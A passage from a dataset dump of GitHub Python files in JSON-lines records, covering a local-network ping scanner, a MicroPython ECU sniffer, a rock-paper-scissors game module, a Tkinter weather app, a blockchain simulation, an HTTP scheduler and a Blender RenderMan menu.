{\"$ne\": None},\n \"notice_eforms_subtype\": {\"$ne\": None},\n \"notice_status\": {\"$ne\": None},\n }\n },\n {\n \"$group\": {\n \"_id\": \"$notice_id\",\n \"exec_time\": {\"$sum\": \"$duration\"},\n \"form_number\": {\"$first\": \"$notice_form_number\"},\n \"eforms_subtype\": {\"$first\": \"$notice_eforms_subtype\"},\n \"status\": {\"$first\": \"$notice_status\"},\n }\n },\n {\n \"$out\": NOTICE_KPI_COLLECTION_NAME\n }\n ], allowDiskUse=True)\n","repo_name":"OP-TED/ted-rdf-conversion-pipeline","sub_path":"ted_sws/data_manager/services/create_notice_collection_materialised_view.py","file_name":"create_notice_collection_materialised_view.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"29288118771","text":"from ecu import CBR500Sniffer, ECUError\nfrom uasyncio import get_event_loop, sleep_ms as d\nfrom utime import ticks_diff as tdiff, ticks_ms as tms, sleep_ms as sleep_ms\nimport machine\nimport display # move ssd1306_vert.py & display.py to ESP first!\n\n\nloop = get_event_loop()\n\nUART0 = machine.UART(0, 115200)\necu = CBR500Sniffer(UART0)\n\ni2c = machine.I2C(-1, machine.Pin(5), machine.Pin(4))\noled = display.Display(i2c, 128, 64)\n\n\nasync def task_ecu():\n oled.println(\"task_ecu()\")\n err_counter = 0\n\n while True:\n for table in ecu.TABLES:\n try:\n if not ecu.ready:\n oled.println(\"init()\")\n await ecu.init()\n if not ecu.ready:\n oled.println(\"TIMEOUT\")\n await d(3000)\n continue\n oled.println(\"update(%s)\" % str(table))\n await ecu.update(table)\n oled.println(\"OK\")\n err_counter = 0\n except ECUError:\n err_counter += 1\n oled.println(\"ERR: \" + repr(ECUError))\n if err_counter >= 5:\n break\n await d(0)\n\n await d(50)\n \n oled.println(\"Program Exit\")\n\n \nloop.run_until_complete(task_ecu())\n","repo_name":"stecrz/MicroPython","sub_path":"honda/tests/main_ecu_working_20190326.py","file_name":"main_ecu_working_20190326.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"9485030225","text":"import tkinter as tk\nfrom simulation import *\nimport cProfile, pstats\n\ndef test_run_sim(rule, num_sims): \n sim = AdvSim(rule, num_sims)\n\n# test_run_sim(8, 2000)\n\ncProfile.runctx(\"test_run_sim(8, 2000)\", globals(), locals(), filename = \"profiled.stats\")\n\nstats = pstats.Stats(\"profiled.stats\")\n# Clean up filenames for the report\nstats.strip_dirs()\n# Sort the statistics by the total time spent in the function itself\nstats.sort_stats(\"cumtime\")\nstats.print_stats(100) \n\n\n# root = tk.Tk()\n\n# root.geometry(\"400x400\")\n\n# frame = tk.Frame(root)\n\n# frame.pack(expand = tk.TRUE, fill = tk.BOTH)\n\n# label = tk.Label(frame, text = \"Brett\", bg = \"green\")\n\n# label.pack(expand = tk.TRUE, fill = tk.X)\n\n# input_rule = input(\"Which rule (0-11)?\")\n\n# input_experiments = input(\"How many random simulations?\")\n\n# print(\"starting simulations\")\n\n# iterate_over = RuleIter(input_rule, input_experiments)\n\n# print(\"done simulations\")\n\n# root.mainloop()\n","repo_name":"blid11/CyGameOfLife","sub_path":"MainGUI.py","file_name":"MainGUI.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28133175336","text":"import platform\nimport queue\nimport re\n\nimport subprocess\nimport threading\n\nimport psutil\n\ndef scan_network(base_ip):\n def worker_func(pingArgs, pending, done):\n try:\n while True:\n # Get the next address to ping.\n address = pending.get_nowait()\n\n ping = subprocess.Popen(pingArgs + [address],\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE\n )\n out, error = ping.communicate()\n\n # Output the result to the 'done' queue.\n done.put((out, error))\n except queue.Empty:\n # No more addresses.\n pass\n finally:\n # Tell the main thread that a worker is about to terminate.\n done.put(None)\n\n # The number of workers.\n NUM_WORKERS = 256\n\n plat = platform.system()\n\n # The arguments for the 'ping', excluding the address.\n if plat == \"Windows\":\n pingArgs = [\"ping\", \"-n\", \"1\", \"-l\", \"1\", \"-w\", \"1000\"]\n elif plat == \"Linux\":\n pingArgs = [\"ping\", \"-c\", \"1\", \"-l\", \"1\", \"-s\", \"1\", \"-W\", \"1\"]\n else:\n raise ValueError(\"Unknown platform\")\n\n # The queue of addresses to ping.\n pending = queue.Queue()\n\n # The queue of results.\n done = queue.Queue()\n\n # Create all the workers.\n workers = []\n for _ in range(NUM_WORKERS):\n workers.append(threading.Thread(target=worker_func, args=(pingArgs, pending, done)))\n\n # Put all the addresses into the 'pending' queue.\n rmatch = re.search(\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\", base_ip).group()\n for i in range(1, 257):\n ip = f\"{rmatch}.{i}\"\n pending.put(ip)\n\n # Start all the workers.\n for w in workers:\n w.daemon = True\n w.start()\n\n # Print out the results as they arrive.\n numTerminated = 0\n while numTerminated < NUM_WORKERS:\n result = done.get()\n if result is None:\n # A worker is about to terminate.\n numTerminated += 1\n else:\n r = result[0].decode()\n if \"Lost = 0\" in r or \"1 received\" in r:\n m = re.search(\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\", r).group()\n yield m\n\n # Wait for all the workers to terminate.\n for w in workers:\n w.join()\n\ndef get_local_ip(alternate_method:bool=False):\n import socket\n if alternate_method:\n return socket.gethostbyname(socket.gethostname()), socket.getfqdn()\n else:\n import socket\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ip = s.getsockname()[0]\n s.close()\n return ip\n\ndef find_network_card():\n cards = psutil.net_if_stats()\n out = []\n for card in [item for item in cards if cards[item].speed > 0 and cards[item].isup]:\n return card\n","repo_name":"Zanzes/lztools","sub_path":"lztools/networking.py","file_name":"networking.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12614740253","text":"\nfrom random import choice\nfrom enum import Enum\nfrom typing import Union\n\n\nclass RPSMove(Enum):\n \"\"\"The game allows a finite set of moves\"\"\"\n\n ROCK = 'rock'\n PAPER = 'paper'\n SCISSORS = 'scissors'\n\n\n# no_sql database is not implemented, but could use something like MongoDB\n# data looks like:\n# {\n# '':\n# {\n# 'round': round the game is currently on,\n# 'completed_plays': when this is 2, move on,\n# 'computer_opponent': bool,\n# 'players': {\n# some socket id: {\n# 'name': some usernamre\n# 'score': total score\n# 'round': can't be greater than overall round,\n# 'move': last move made\n# },\n# 'computer or socket_id': {\n# 'name': some username,\n# 'score': total score\n# 'round': can't be greater than overall round,\n# 'move': last move made\n# },\n# }\n# }\n# }\n\n\ndef get_game_status(game_id: str) -> Union[dict, None]:\n \"\"\"\n Queries data store to get a copy of the current game status.\n This function is fake and needs to be updated.\n Note: note implemented, but this can be used to determine whether\n the game should advance a round or whether a user can submit a guess.\n \"\"\"\n\n # Returns a placeholder for now\n return {\n 'round': 1,\n 'completed_plays': 0,\n 'computer_opponent': True,\n 'players': {\n 'placeholder_sid': {\n 'name': 'user1',\n 'score': 1,\n 'round': 0,\n 'move': 'rock'\n },\n 'computer': {\n 'name': 'computer',\n 'score': 1,\n 'round': 0,\n 'move': 'paper',\n },\n }\n }\n\n\ndef add_game(game_id: str):\n \"\"\"Add game to databse and initializes rounds, scores as 0\"\"\"\n\n return\n\n\ndef add_player(game_id: str, user_id: str, name: str):\n \"\"\"Add player to game\"\"\"\n\n return\n\n\ndef update_game(game_id, data: dict):\n \"\"\"Update game data\"\"\"\n\n return\n\n\ndef delete_game(game_id: str):\n \"\"\"Remove a game froe a database\"\"\"\n return\n\n\ndef find_winner(first: RPSMove, second: RPSMove) -> bool:\n \"\"\"Given two moves, find the winner\"\"\"\n\n winner_map = {\n RPSMove.ROCK: {RPSMove.PAPER: 2, RPSMove.SCISSORS: 1},\n RPSMove.PAPER: {RPSMove.SCISSORS: 2, RPSMove.ROCK: 1},\n RPSMove.SCISSORS: {RPSMove.ROCK: 2, RPSMove.PAPER: 1}\n }\n # This is a tie, nobody wins\n if first == second:\n return None\n return winner_map[first['move']][second['move']]\n\n\nclass PlayRound:\n \"\"\"Manages one round of game play\"\"\"\n\n def __init__(self, game_id: str):\n self.game_id\n self.round_data = get_game_status(game_id)\n self.computer_opponent = self.round_data['computer_opponent']\n\n def handle_play(self, user_id, move):\n \"\"\"\n Add a play.\n Optionally add a computer play.\n If the round is complete, find a winner and update the data store.\n \"\"\"\n\n self._add_play(user_id, move)\n\n if self.computer_opponent:\n self._add_computer_play()\n # If both plays are completed, complete the round\n if self.round_data['completed_plays'] == 2:\n self._add_winner()\n self.update_round()\n\n def _add_winner(self):\n \"\"\"\n Get the current choices.\n Find the winner.\n Update the score.\n \"\"\"\n\n players = [k for k in self.round_data['players']]\n winner = find_winner(players[0]['move'], players[1]['move'])\n if winner is None:\n return\n # else update the score\n self.round_data[players[winner - 1]]['score'] += 1\n\n def update_round(self):\n \"\"\"\n Update round in the current instance play data.\n Update the data in the data store (this is not cmplete).\n \"\"\"\n\n self.round_data['round'] += 1\n update_game(self.game_id, self.round_data)\n\n def _add_play(self, user_id: str, move: RPSMove):\n \"\"\"Update the current instance play data.\"\"\"\n\n play = self.round_data['players'][user_id]\n play['round'] += 1\n play['move'] = move\n # TODO do we need this?\n self.round_data['player'][user_id].update(play)\n self.round_data['completed_plays'] += 1\n return\n\n def _add_computer_play(self):\n \"\"\"Generate a move and update the current play data for computer\"\"\"\n\n move = choice(list(RPSMove))\n return self._add_play('computer', move)\n","repo_name":"rasquith/rps","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13267422963","text":"# coding: utf-8\nimport re\n\n\ndef get_separate(words):\n \"\"\"使用!给数据中的单词标记层次,并返回标记后的串行文本结构 \"\"\"\n index = 1\n new_words = []\n for word in words:\n if word:\n new_words.append('!'*index+word)\n index += 1\n new_words.append('!')\n return ''.join(new_words)\n\n\ndef prepare_data(file_path):\n \"\"\"将数据转为可处理的格式\"\"\"\n with open(file_path, 'r', encoding='utf-8') as datafile:\n data = ''\n for line in datafile.readlines():\n words = line.replace('\\n', '').split(',')\n data += get_separate(words)\n return data\n\n\ndef find_by_level(level, nodes):\n level_objs = []\n for node in nodes:\n if node['level'] == level:\n level_objs.append(node)\n return level_objs\n\n\ndef find_by_id(id, nodes):\n for node in nodes:\n if node['id'] == id:\n return node\n\n\ndef find_parent(level, id, nodes):\n\n fake_parents = find_by_level(level-1, nodes)\n real_parent = 0\n sub = 0\n for parent in fake_parents:\n if parent['id'] < id:\n if fake_parents.index(parent) == 0 or id-parent['id'] < sub:\n sub = id-parent['id']\n real_parent = parent\n return real_parent\n\n\ndef find_childrenid(id, nodes):\n children_ids = []\n for node in nodes:\n # print(node, id)\n if node['parent'] == id:\n children_ids.append(node['id'])\n return children_ids\n\n\ndef create_json(node, childrens_ids, nodes):\n \"\"\"\n\n :param node: 需要添加子节点的节点对象\n :param childrens_ids: @node 的子节点的id数组\n :param nodes: 整个图所有的节点对象,用于查找id对应的节点对象\n :return:\n \"\"\"\n children_nodes = []\n for children_id in childrens_ids:\n children_nodes.append(find_by_id(children_id, nodes))\n node['children'] = children_nodes\n\n for children_node in children_nodes:\n create_json(children_node, children_node['childrenids'], nodes)\n\n\ndef adjust_json(node_title, nodes, new_json_obj):\n \"\"\"\n 调整create_json的结果为题目答案对应的格式\n :param node_title: 此次处理的node title\n :param nodes: @node_title 对应的children信息\n :param new_json_obj: 需要对号入座的存储位置。\n :return:\n \"\"\"\n sub_title = {}\n for node in nodes:\n sub_title[node['title']] = []\n new_json_obj[node_title] = [sub_title]\n\n for sup_nodes in nodes:\n adjust_json(sup_nodes['title'], sup_nodes['children'], new_json_obj[node_title][0])\n\n\ndef csv2_json(file_path):\n data = prepare_data(file_path)\n pattern = '!+[^!]+(?=!)'\n swdt_words = re.findall(pattern, data)\n nodes = []\n # 遍历数组,将数组中每个元素创建为一个节点对象\n for word in swdt_words:\n word_obj = {}\n word_obj['id'] = swdt_words.index(word)\n word_obj['title'] = word.replace('!', '')\n word_obj['level'] = len(word) - len(word_obj['title'])\n if word_obj['level'] == 1:\n word_obj['parent'] = -1\n else:\n word_obj['parent'] = find_parent(word_obj['level'], word_obj['id'], nodes)['id']\n word_obj['childrenids'] = []\n nodes.append(word_obj)\n\n # 遍历数组,为每个节点补上子节点集合\n for node in nodes:\n node['childrenids'] = find_childrenid(node['id'], nodes)\n\n # 转化为json数组\n json_obj = {\n 'title': '奴隶社会',\n 'id': 0,\n 'parent': 0,\n 'level': 0,\n 'childrenids': find_childrenid(0, nodes)\n }\n\n create_json(json_obj, json_obj['childrenids'], nodes)\n # 调整为答案所需格式\n adjust_json_obj = {'奴隶社会': []}\n adjust_json('奴隶社会', json_obj['children'], adjust_json_obj)\n import json\n print(json.dumps(adjust_json_obj, indent=4))\n return adjust_json_obj\n\nresult = csv2_json('data.csv')\n\n\n","repo_name":"echoocking/DontForget","sub_path":"我曾经写过的那些不知道有啥用但看起来还不错的代码/思维导图转json/hummurabi.py","file_name":"hummurabi.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25264631969","text":"\r\n# IMPORT REQUIRED MODULES\r\n\r\nfrom tkinter import *\r\nfrom configparser import ConfigParser\r\nfrom tkinter import messagebox\r\nimport requests\r\n\r\n\r\n# EXTRACT KEY FROM THE WEATHER FILE\r\napi_file=\"weather.key\"\r\nfile_a=ConfigParser()\r\nfile_a.read(api_file)\r\napi_key = file_a[\"api_key\"][\"key\"]\r\nurl_api=\"https://api.openweathermap.org/data/2.5/weather?q={}&appid={}\"\r\n\r\n# EXPLICIT FUNCTION TO GET WEATHER DETAILS\r\n\r\ndef weather_result(city):\r\n final=requests.get(url_api.format(city,api_key))\r\n if final:\r\n json_file = final.json()\r\n city = json_file['name']\r\n country_name = json_file['sys']['country']\r\n kelvin_temperature = json_file['main']['temp']\r\n celcius_temperature = kelvin_temperature - 273.15\r\n f_temperature = (kelvin_temperature-273.15)*9/5+32\r\n weather_display = json_file['weather'][0]['main']\r\n humidity_display=json_file['main']['humidity']\r\n \r\n result = (city,country_name,celcius_temperature,f_temperature,weather_display,humidity_display)\r\n \r\n return result\r\n else:\r\n print(\"No content found\") \r\n\r\n# EXPLICIT FUNCTION TO SEARCH CITY\r\n\r\ndef print_weather():\r\n city = search_city.get()\r\n weather = weather_result(city)\r\n if weather:\r\n location_entry['text'] = '{}, {}'.format(weather[0],weather[1])\r\n temperature_entry['text']='{:.2f} C, {:.2f} F'.format(weather[2],weather[3])\r\n weather_entry['text'] = weather[4]\r\n humidity_entry['text']=weather[5]\r\n \r\n \r\n else:\r\n messagebox.showerror('Error','Please enter a valid city name. Cannot find this city.')\r\n\r\n# DRIVER CODE\r\n\r\n# CREATE OBJECT\r\nroot = Tk()\r\n\r\n# ADD TITLE\r\nroot.title(\"Weather App\")\r\nroot.config(background=\"black\")\r\n\r\n# ADD WINDOW SIZE\r\nroot.geometry(\"700x400\")\r\n\r\n# ADD LABELS,BUTTONS AND TEXT\r\nsearch_city = StringVar()\r\nenter_city = Entry(root, textvariable=search_city, fg=\"blue\",font={\"Arial\",30,\"bold\"})\r\nenter_city.pack()\r\n\r\n\r\nsearch_button = Button(root, text=\"SEARCH WEATHER ! \", width=20,bg=\"red\",fg=\"white\",font={\"Arial\",25,\"bold\"},command=print_weather)\r\nsearch_button.pack()\r\n\r\nlocation_entry = Label(root, text=\"Location\",font={\"Arial\",35,\"bold\"},bg=\"lightblue\")\r\nlocation_entry.pack()\r\n\r\ntemperature_entry = Label(root, text=\"temperature\",font={\"Arial\",35,\"bold\"},bg=\"lightpink\")\r\ntemperature_entry.pack()\r\n\r\nweather_entry = Label(root,text=\"weather_clouds\",font={\"Arial\",35,\"bold\"},bg=\"lightgreen\")\r\nweather_entry.pack()\r\n\r\nhumidity_entry= Label(root,text=\"Humidity Level\",font={\"Aria\",35,\"bold\"},bg=\"lightblue\")\r\nhumidity_entry.pack()\r\n\r\n\r\nroot.mainloop()\r\n\r\n\r\n","repo_name":"uvaibhav/Weather-App","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36902685761","text":"import yaml\nimport schedule\nimport requests\nimport time\nimport sys\n\nwith open('./%s' % (sys.argv[1])) as file:\n yaml_file = yaml.safe_load(file)\n\nURL = yaml_file['Steps'][0][1]['outbound_url']\nMETHOD = yaml_file['Steps'][0][1]['method']\nSCHEDULER_WHEN = yaml_file['Scheduler']['when']\nTYPE = yaml_file['Steps'][0][1]['type']\nCONDITION = yaml_file['Steps'][0][1]['condition']['if']['equal']['right']\nSCHEDULER_STEP_ID = yaml_file['Scheduler']['step_id_to_execute'][0]\nSTEPS_DICT = yaml_file['Steps'][0]\nACTION = yaml_file['Steps'][0][1]['condition']['then']['action']\nERROR_DATA = yaml_file['Steps'][0][1]['condition']['else']['data']\n\n\ndef http_client(config):\n response = requests.request(config['method'], config['url'])\n # print(response)\n return response\n\n\ndef run_steps():\n active_step_id = SCHEDULER_STEP_ID\n TYPE = yaml_file['Steps'][0][active_step_id]['type']\n if TYPE == \"HTTP_CLIENT\":\n config = {\n 'method': yaml_file['Steps'][0][active_step_id]['method'],\n 'url': yaml_file['Steps'][0][active_step_id]['outbound_url']\n }\n while True:\n response = http_client(config)\n condition = {\n 'status_code':\n yaml_file['Steps'][int(active_step_id) - 1][int(\n active_step_id)]['condition']['if']['equal']['right'],\n 'action':\n yaml_file['Steps'][int(active_step_id) - 1][int(\n active_step_id)]['condition']['then']['action'],\n 'action_data':\n yaml_file['Steps'][int(active_step_id) - 1][int(\n active_step_id)]['condition']['then']['data'],\n }\n # print(condition)\n\n if response.status_code == condition['status_code']:\n if condition['action'] == '::print':\n result = condition['action_data']\n print_result(result, response)\n return\n\n if condition['action'] == '::invoke:step:2':\n config['url'] = yaml_file['Steps'][0][active_step_id][\n 'condition']['then']['data']\n active_step_id = condition['action'].split(':')[-1]\n # print(config)\n else:\n print(ERROR_DATA)\n else:\n print(\"Invalid type\")\n\n\ndef print_result(result, response):\n if result == 'http.response.body':\n print(result, ' : ', response.content)\n if result == 'http.response.headers.X-Ratelimit-Limit':\n print(result, ' : ', response.headers['x-ratelimit-limit'])\n if result == 'http.response.headers.content-type':\n print(result, ' : ', response.headers['Content-Type'])\n\n\ndef set_scheduler():\n SCHEDULER_WHEN = yaml_file['Scheduler']['when']\n cron_list = SCHEDULER_WHEN.split()\n mins = cron_list[0]\n hrs = cron_list[1]\n weekdays = cron_list[2]\n\n # 1 * *\n if mins != '*' and hrs == '*' and weekdays == '*':\n if int(mins) < 0 or int(mins) > 59:\n print(\"Error, minute number outbound\")\n return\n schedule.every(int(mins)).minutes.do(run_steps)\n\n # * 1 *\n if mins == '*' and hrs != '*' and weekdays == '*':\n if int(hrs) < 0 or int(hrs) > 23:\n print(\"Error, hour number outbound\")\n return\n schedule.every().day.at(\"%s:25\" % hrs).do(run_steps)\n\n # * * 1\n if mins == '*' and hrs == '*' and weekdays != '*':\n if int(weekdays) < 0 or int(weekdays) > 7:\n print(\"Error, week number outbound\")\n return\n if weekdays == '0' or weekdays == '7':\n schedule.every().sunday.do(run_steps)\n if weekdays == '1':\n schedule.every().monday.do(run_steps)\n if weekdays == '2':\n schedule.every().tuesday.do(run_steps)\n if weekdays == '3':\n schedule.every().wednesday.do(run_steps)\n if weekdays == '4':\n schedule.every().thursday.do(run_steps)\n if weekdays == '5':\n schedule.every().friday.do(run_steps)\n if weekdays == '6':\n schedule.every().saturday.do(run_steps)\n\n # 23 14 *\n if mins != '*' and hrs != '*' and weekdays == '*':\n if int(mins) < 0 or int(mins) > 59 or int(hrs) < 0 or int(hrs) > 23:\n print(\"Error, number outbound\")\n return\n schedule.every().day().at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n\n # 1 2 3\n if mins != '*' and hrs != '*' and weekdays != '*':\n if int(mins) < 0 or int(mins) > 59 or int(hrs) < 0 or int(\n hrs) > 23 or int(weekdays) < 0 or int(weekdays) > 7:\n print(\"Error, number outbound\")\n return\n if weekdays == '0' or weekdays == '7':\n schedule.every().sunday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '1':\n schedule.every().monday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '2':\n schedule.every().tuesday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '3':\n schedule.every().wednesday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '4':\n schedule.every().thursday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '5':\n schedule.every().friday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n if weekdays == '6':\n schedule.every().saturday.at(\"%s:%s\" % (hrs, mins)).do(run_steps)\n\n\ndef main():\n SCHEDULER_STEP_ID = yaml_file['Scheduler']['step_id_to_execute'][0]\n STEPS_DICT = yaml_file['Steps'][0]\n if (SCHEDULER_STEP_ID in STEPS_DICT.keys()):\n set_scheduler()\n else:\n print('Invilid step ID provided')\n\n while True:\n schedule.run_pending()\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"jingwang9302/CMPE273-fall2020","sub_path":"assignment2/httpflow.py","file_name":"httpflow.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25749792305","text":"import sys\nsys.dont_write_bytecode = True\n\nfrom block import *\nfrom blockchain import *\nfrom transaction import *\nfrom user import *\nfrom validator import *\n\ndef main():\n \n blockchain = BlockChain()\n validator = Validator(blockchain)\n blockchain.add_validator(validator)\n\n # 0. Create user\n user_1 = User(\"123\", \"Anna\", 100)\n user_2 = User(\"100\", \"Bod\", 200)\n user_3 = User(\"999\", \"Cam\", 300)\n\n blockchain.add_user(user_1)\n blockchain.add_user(user_2)\n blockchain.add_user(user_3)\n\n # 1. User create transaction\n new_transaction_1 = user_1.create_transaction(user_2.address, 10)\n new_transaction_2 = user_2.create_transaction(user_3.address, 20)\n\n\n # 2. Transactions are added to unconfirm pool\n blockchain.broadcast_transaction(new_transaction_1)\n blockchain.broadcast_transaction(new_transaction_2)\n \n\n # 3. Perform the whole mining process\n blockchain.mining_process()\n\n\n # ===== Print result =====\n # print(\"\\n---------- Blockchain info ----------\")\n # blockchain.print_chain()\n\n print(\"\\n---------- User account ----------\")\n for user in blockchain.list_user:\n print(user, \"\\n\")\n\n \n\nmain()","repo_name":"NguyenThaiVu/python_blockchain_simulation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72173146722","text":"# -*- coding:utf-8 -*-\n# User: rudy\n# Time: 2015/11/01\n\nimport MySQLdb\nimport pandas as pd\nfrom pandas import Series,DataFrame\n\nconn=MySQLdb.connect(host=\"115.28.149.242\",user=\"***\",passwd=\"***\",db=\"test\",charset=\"utf8\")\ncursor = conn.cursor()\n\nsql = 'SELECT workYear,salarymin,salarymax FROM lagou_source'\ncursor.execute(sql)\nresult = cursor.fetchall()\nis_first = True\nrdata = None\nt = {}\nt[u'应届毕业生'] = None\nt[u'1年以下'] = None\nt[u'1-3年'] = None\nt[u'3-5年'] = None\nt[u'不限'] = None\nfor item in result:\n temp = {}\n temp[0] = item[0]\n temp[1] = 1\n temp[2] = 1\n temp[3] = 1\n temp[4] = 1\n temp[5] = 1\n temp[6] = 1\n if t[item[0]]:\n temp_2 = item[2] == '' and 30 or item[2]\n temp_num = int((int(item[1])+int(temp_2))/2)\n if temp_num <5:\n t[item[0]][1] += 1\n elif temp_num < 10:\n t[item[0]][2] += 1\n elif temp_num < 15:\n t[item[0]][3] += 1\n elif temp_num < 20:\n t[item[0]][4] += 1\n elif temp_num < 25:\n t[item[0]][5] += 1\n else:\n t[item[0]][6] += 1\n else:\n t[item[0]] = temp\npass\nfor key,item in t.items():\n if is_first:\n rdata = DataFrame(Series(data=item)).T\n is_first = False\n else:\n temp_rdata = DataFrame(Series(data=item)).T\n rdata = pd.concat([rdata, temp_rdata])\new = pd.ExcelWriter('F:/py_www/lagou/exp_pay.xlsx',options={'encoding':'utf-8'})\nstr_dict = rdata.to_excel(ew)\new.save()\ncursor.close()\nconn.close()\n","repo_name":"hirudy/php_analysis","sub_path":"exp_pay.py","file_name":"exp_pay.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"10159781758","text":"from .. import rfb_icons\nfrom .. import rman_bl_nodes\nfrom ..rfb_utils.operator_utils import get_bxdf_items, get_light_items, get_lightfilter_items\nfrom ..rfb_utils.scene_utils import RMAN_VOL_TYPES\nfrom ..rfb_utils import shadergraph_utils\nfrom ..rfb_utils import object_utils\nfrom ..rfb_utils.envconfig_utils import envconfig\nfrom ..rfb_utils.prefs_utils import using_qt, show_wip_qt\nfrom ..rfb_logger import rfb_log\nfrom ..rman_config import __RFB_CONFIG_DICT__ as rfb_config\nfrom bpy.types import Menu\nimport bpy\n\nclass VIEW3D_MT_renderman_add_object_menu(Menu):\n bl_label = \"RenderMan\"\n bl_idname = \"VIEW3D_MT_renderman_add_object_menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls):\n return rfb_icons.get_icon(\"rman_blender\").icon_id \n\n def draw(self, context):\n layout = self.layout\n\n selected_light_objects = []\n if context.selected_objects:\n for obj in context.selected_objects:\n if shadergraph_utils.is_rman_light(obj, include_light_filters=False):\n selected_light_objects.append(obj) \n\n layout.menu('VIEW3D_MT_RM_Add_Light_Menu', icon_value=bpy.types.VIEW3D_MT_RM_Add_Light_Menu.get_icon_id())\n\n if selected_light_objects:\n layout.menu('VIEW3D_MT_RM_Add_LightFilter_Menu', text='Attach Light Filter', icon_value=bpy.types.VIEW3D_MT_RM_Add_LightFilter_Menu.get_icon_id())\n else:\n layout.menu('VIEW3D_MT_RM_Add_LightFilter_Menu', icon_value=bpy.types.VIEW3D_MT_RM_Add_LightFilter_Menu.get_icon_id())\n\n layout.separator()\n layout.menu('VIEW3D_MT_renderman_add_object_quadrics_menu', icon='MESH_UVSPHERE')\n layout.separator()\n\n layout.separator()\n layout.menu('VIEW3D_MT_renderman_add_object_volumes_menu', icon_value=bpy.types.VIEW3D_MT_renderman_add_object_volumes_menu.get_icon_id())\n layout.separator() \n \n rman_icon = rfb_icons.get_icon(\"rman_CreateArchive\")\n op = layout.operator('object.rman_add_rman_geo', text='RIB Archive', icon_value=rman_icon.icon_id)\n op.rman_prim_type = 'DELAYED_LOAD_ARCHIVE'\n op.rman_default_name = 'RIB_Archive' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = True \n\n if rfb_config['ui_preferences']['render_runprograms']['default']:\n op = layout.operator('object.rman_add_rman_geo', text='RunProgram')\n op.rman_prim_type = 'PROCEDURAL_RUN_PROGRAM'\n op.rman_default_name = 'RiRunProgram' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = True\n\n rman_icon = rfb_icons.get_icon(\"rman_alembic\")\n op = layout.operator('object.rman_add_rman_geo', text='Alembic Archive', icon_value=rman_icon.icon_id)\n op.rman_prim_type = 'ALEMBIC'\n op.rman_default_name = 'rman_AlembicArchive' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = True \n op.rman_convert_to_zup = True \n\n op = layout.operator('object.rman_add_rman_geo', text='RiProcedural')\n op.rman_prim_type = 'DYNAMIC_LOAD_DSO'\n op.rman_default_name = 'RiProcedural' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = True\n \n op = layout.operator('object.rman_add_rman_geo', text='Brickmap Geometry')\n op.rman_prim_type = 'BRICKMAP'\n op.rman_default_name = 'BrickmapGeo' \n op.bl_prim_type = ''\n op.rman_open_filebrowser = True\n\nclass VIEW3D_MT_renderman_add_object_volumes_menu(Menu):\n bl_label = \"Volumes\"\n bl_idname = \"VIEW3D_MT_renderman_add_object_volumes_menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n @classmethod\n def get_icon_id(cls):\n return rfb_icons.get_icon(\"out_PxrVolume\").icon_id \n\n def draw(self, context):\n layout = self.layout\n rman_icon = rfb_icons.get_icon('rman_openvdb')\n op = layout.operator('object.rman_add_rman_geo', text='Import OpenVDB', icon_value=rman_icon.icon_id)\n op.rman_prim_type = ''\n op.bl_prim_type = 'VOLUME'\n op.rman_default_name = 'OpenVDB' \n op.rman_open_filebrowser = True \n op.rman_convert_to_zup = True\n\n rman_icon = rfb_icons.get_node_icon('PxrVolume')\n op = layout.operator('object.rman_add_rman_geo', text='Volume Box', icon_value=rman_icon.icon_id)\n op.rman_prim_type = 'RI_VOLUME'\n op.rman_default_name = 'RiVolume' \n op.rman_open_filebrowser = False \n\n\nclass VIEW3D_MT_renderman_add_object_quadrics_menu(Menu):\n bl_label = \"Quadrics\"\n bl_idname = \"VIEW3D_MT_renderman_add_object_quadrics_menu\"\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return rd.engine == 'PRMAN_RENDER'\n\n def 